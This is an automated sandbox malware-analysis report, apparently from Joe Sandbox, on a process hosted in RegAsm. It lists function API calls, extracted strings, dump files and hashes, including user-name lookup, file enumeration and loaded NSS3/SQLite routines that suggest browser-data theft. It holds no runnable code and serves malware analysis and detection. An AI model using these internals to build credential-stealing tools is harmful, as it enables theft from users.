Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6C496D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C59A8EC,0000006C), ref: 6C496DC6
memcpy.VCRUNTIME140(?,6C59A958,0000006C), ref: 6C496DDB
memcpy.VCRUNTIME140(?,6C59A9C4,00000078), ref: 6C496DF1
memcpy.VCRUNTIME140(?,6C59AA3C,0000006C), ref: 6C496E06
memcpy.VCRUNTIME140(?,6C59AAA8,00000060), ref: 6C496E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C496E38

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C496E76
TlsGetValue.KERNEL32 ref: 6C49726F
EnterCriticalSection.KERNEL32(?), ref: 6C497283

Strings

!, xrefs: 6C497123

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 3b60902260934a85e676dfeb0023df1fbbeb5c93f781a70e9a5b22825df30d05
Instruction ID: 4071b83a5d03b888a061cc4d1c4e767c199035fff28d2b3f510991885750af0d
Opcode Fuzzy Hash: 3b60902260934a85e676dfeb0023df1fbbeb5c93f781a70e9a5b22825df30d05
Instruction Fuzzy Hash: 7C726D75D052299FDF60DF28CC88F9ABBB5AF49304F1441A9D80DA7701EB31AA85CF91

Function 004138B0 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004138CC
FindFirstFileA.KERNEL32(?,?), ref: 004138E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

%s%s, xrefs: 00413AAD
%s\*, xrefs: 004138C0
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s, xrefs: 00413A6F
%s\%s\%s, xrefs: 00413A4A
%s\%s, xrefs: 0041397A

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-817767981
Opcode ID: c160324fee9f290d05effc3aa5b0fa9495973b4ff355d4639833e8346a244a75
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: c160324fee9f290d05effc3aa5b0fa9495973b4ff355d4639833e8346a244a75
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 6C418460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6C4184FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6C4188BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6C4188CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4188E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6C4188F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C41894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C41895F
sqlite3_randomness.NSS3(00000008,?), ref: 6C418914

Part of subcall function 6C4031C0: sqlite3_initialize.NSS3 ref: 6C4031D6

sqlite3_randomness.NSS3(00000004,?), ref: 6C418A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C418A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C418A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C418B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C418B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6C418BAD

Strings

cannot limit WAL size: %s, xrefs: 6C419188

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: 32c86ce0a1879f398214ac6c3fd25b6b1085c660a22fff4a60ddedb2bc0bd2ff
Instruction ID: 332a68bfd832af5f6c30983761cd7de9bf442a5b32b98d60d82ae60aea27a638
Opcode Fuzzy Hash: 32c86ce0a1879f398214ac6c3fd25b6b1085c660a22fff4a60ddedb2bc0bd2ff
Instruction Fuzzy Hash: 03928F75A083019FD704CF29C880E6AB7F1FF89318F19892DE99997B51E731E945CB82

Function 6C4DAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C4DACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C4DACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C4DACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C4DAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C4DADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4DADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4DADF0

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4DB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4DB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4DB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4DB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C4DB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4DB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4DB40C

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: e006eef8e4eca0f3b98ee6127328d5f3a2c7fc41dbd0bc686811982adcb2c3ce
Instruction ID: 3c7879ab5c02910b5b40b93fec9718ec6afcaea9f7c0994789f7d05137e82106
Opcode Fuzzy Hash: e006eef8e4eca0f3b98ee6127328d5f3a2c7fc41dbd0bc686811982adcb2c3ce
Instruction Fuzzy Hash: C022BE71A04300AFE700EF14CC55F9A77E1AF8430CF25856CE8595B7A2E772E859CB96

Function 6C464420 Relevance: 37.9, APIs: 10, Strings: 11, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C464EE3

Strings

weekday , xrefs: 6C4654AB
a generated column, xrefs: 6C464D58, 6C464E8B
an index, xrefs: 6C464D53, 6C464E86
w=Fl, xrefs: 6C4647FB
second, xrefs: 6C464BCA
40f-21a-21d, xrefs: 6C4644D0
a CHECK constraint, xrefs: 6C464D62, 6C464D6D, 6C464E95, 6C464EA0
start of , xrefs: 6C46517A
w=Fl, xrefs: 6C464431, 6C464E25, 6C46533D, 6C465536, 6C4655A0, 6C464A83, 6C464A99, 6C465313, 6C465325, 6C464CFC, 6C464A8C, 6C4651AC, 6C4648B9, 6C4646CD, 6C464786, 6C4648D5, 6C46490D, 6C465404, 6C465411, 6C46541E, 6C465365, 6C46537B, 6C46536E, 6C46542A, 6C465466, 6C4653C9, 6C465211, 6C464BA1, 6C465013, 6C46521D, 6C464C69, 6C46528B, 6C464691, 6C465058, 6C464E5E, 6C464FA4, 6C464FEB, 6C464FDF, 6C464F9D, 6C464E77, 6C464EDF, 6C464576, 6C464F90
-, xrefs: 6C464FBA
non-deterministic use of %s() in %s, xrefs: 6C464D71, 6C464EA4

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $w=Fl$w=Fl$weekday
API String ID: 39653677-2747356586
Opcode ID: ecbb679f3effa5157ea94c7bcdbfa0244d721f5438d00aa23cecb6b8fea18438
Instruction ID: bbfc04be2da09a8e941903dec23bb164da9fb9f634b6e27012b9c662000fe9e2
Opcode Fuzzy Hash: ecbb679f3effa5157ea94c7bcdbfa0244d721f5438d00aa23cecb6b8fea18438
Instruction Fuzzy Hash: 82A23430A087808FDB11CF26C460E66B7E2AF86399F14974DE8D59BF8AD735D886C741

Function 6C462560 Relevance: 37.3, APIs: 10, Strings: 11, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C45F9C9,?,6C45F4DA,6C45F9C9,?,?,6C42369A), ref: 6C3FCA7A
Part of subcall function 6C3FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C3FCB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4625B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6C4625DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6C462604
sqlite3_initialize.NSS3 ref: 6C46269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6C4626D6
sqlite3_initialize.NSS3 ref: 6C46289F
EnterCriticalSection.KERNEL32(?), ref: 6C4629CD
LeaveCriticalSection.KERNEL32(?), ref: 6C462A26
sqlite3_free.NSS3(?), ref: 6C462B30

Strings

winShmMap3, xrefs: 6C462C08, 6C462C3D
winFileSize, xrefs: 6C462A7D
readonly_shm, xrefs: 6C4626CE
%s-shm, xrefs: 6C4625FD
winShmMap1, xrefs: 6C462AB0
winOpenShm, xrefs: 6C462B7E
PXl, xrefs: 6C462A51, 6C462A90, 6C462B0A, 6C462B66, 6C462BB0, 6C462BE0, 6C462C1A
Xl, xrefs: 6C4627CB
0Xl, xrefs: 6C462AE9
Xl, xrefs: 6C462900
winShmMap2, xrefs: 6C462BD0

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: Xl$ Xl$%s-shm$0Xl$PXl$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-775689574
Opcode ID: 32d4d1011f56cc405d3042cd1e2ad3b4ef8f23413809db41847fcf3691a1a049
Instruction ID: 18498b605673c7fe49102deed4ad6fc57e3c115e2c156e8c8748515a48ea06f9
Opcode Fuzzy Hash: 32d4d1011f56cc405d3042cd1e2ad3b4ef8f23413809db41847fcf3691a1a049
Instruction Fuzzy Hash: 9212BB71A04701AFEB14CF26DC48E6A77B1FB89315F16852CE8459BB40EB34E945CB86

Function 6C45ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C45ED38

Part of subcall function 6C3F4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3F4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C45EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C45EFE4

Part of subcall function 6C51DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C3F5001,?,00000003,00000000), ref: 6C51DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C45F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C45F129
sqlite3_mprintf.NSS3(optimize), ref: 6C45F1D1
sqlite3_free.NSS3(?), ref: 6C45F368

Strings

offsets, xrefs: 6C45EFAF, 6C45EFDF, 6C45F01F
fts3tokenize, xrefs: 6C45F30F
fts3_tokenizer, xrefs: 6C45EE1A, 6C45EEA8
simple, xrefs: 6C45ED79
fts3, xrefs: 6C45F247
fts4, xrefs: 6C45F2AD
fts4aux, xrefs: 6C45ECF9
optimize, xrefs: 6C45F199, 6C45F1CC, 6C45F211
matchinfo, xrefs: 6C45F04F, 6C45F082, 6C45F0C2, 6C45F0F2, 6C45F124, 6C45F169
snippet, xrefs: 6C45EF05, 6C45EF37, 6C45EF7C
porter, xrefs: 6C45ED97
unicode61, xrefs: 6C45EDB5

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 054a2908f7ce6e0132ddeca95b9e5126695c27f784df0f7a33c09236be0c55f1
Instruction ID: 1932adc27df13985bd953630774d69a444771f04c9ecd4b27cd453ee63896bbe
Opcode Fuzzy Hash: 054a2908f7ce6e0132ddeca95b9e5126695c27f784df0f7a33c09236be0c55f1
Instruction Fuzzy Hash: 4B02EEB1B057014BF704DF619C85F2B36B2BBC5208F54893CD85A97B40EB79E9668B83

Function 6C49A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6C4728AD,pkcs11:,00000007), ref: 6C49A501
PORT_Strdup_Util.NSS3(6C4728AD), ref: 6C49A514

Part of subcall function 6C4D0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C472AF5,?,?,?,?,?,6C470A1B,00000000), ref: 6C4D0F1A
Part of subcall function 6C4D0F10: malloc.MOZGLUE(00000001), ref: 6C4D0F30
Part of subcall function 6C4D0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C4D0F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6C49A529
PK11_GetInternalKeySlot.NSS3 ref: 6C49A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C49A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C49A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C49A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6C49A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6C49A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C49A9C3

Part of subcall function 6C4C0960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6C49A8F5,00000000,?,00000010), ref: 6C4C097E
Part of subcall function 6C4C0960: memcmp.VCRUNTIME140(?,00000000,6C49A8F5,00000010), ref: 6C4C098D

free.MOZGLUE(00000000), ref: 6C49AB18
strchr.VCRUNTIME140(?,00000040), ref: 6C49AB40
free.MOZGLUE(?), ref: 6C49ABE1

Part of subcall function 6C494170: TlsGetValue.KERNEL32(?,6C4728AD,00000000,?,6C49A793,?,00000000), ref: 6C49419F
Part of subcall function 6C494170: EnterCriticalSection.KERNEL32(0000001C), ref: 6C4941AF
Part of subcall function 6C494170: PR_Unlock.NSS3(?), ref: 6C4941D4

Strings

manufacturer, xrefs: 6C49A8A2
pkcs11:, xrefs: 6C49A4FB
token, xrefs: 6C49A875
object, xrefs: 6C49A5CF
model, xrefs: 6C49A8CF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: f25634f502a7b1dfeb68ef58694d3179c8a503e8db7f947fad5787cd62972c83
Instruction ID: df49f7eb9349fdb181268571762f4fb5656a84f9ef440b046c2bdfe4509917e9
Opcode Fuzzy Hash: f25634f502a7b1dfeb68ef58694d3179c8a503e8db7f947fad5787cd62972c83
Instruction Fuzzy Hash: 140284B5D012249FEF21DB259C41F9A7B75AF0125DF1400A8E90CA6712FB31DE59CF92

Function 00414570 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
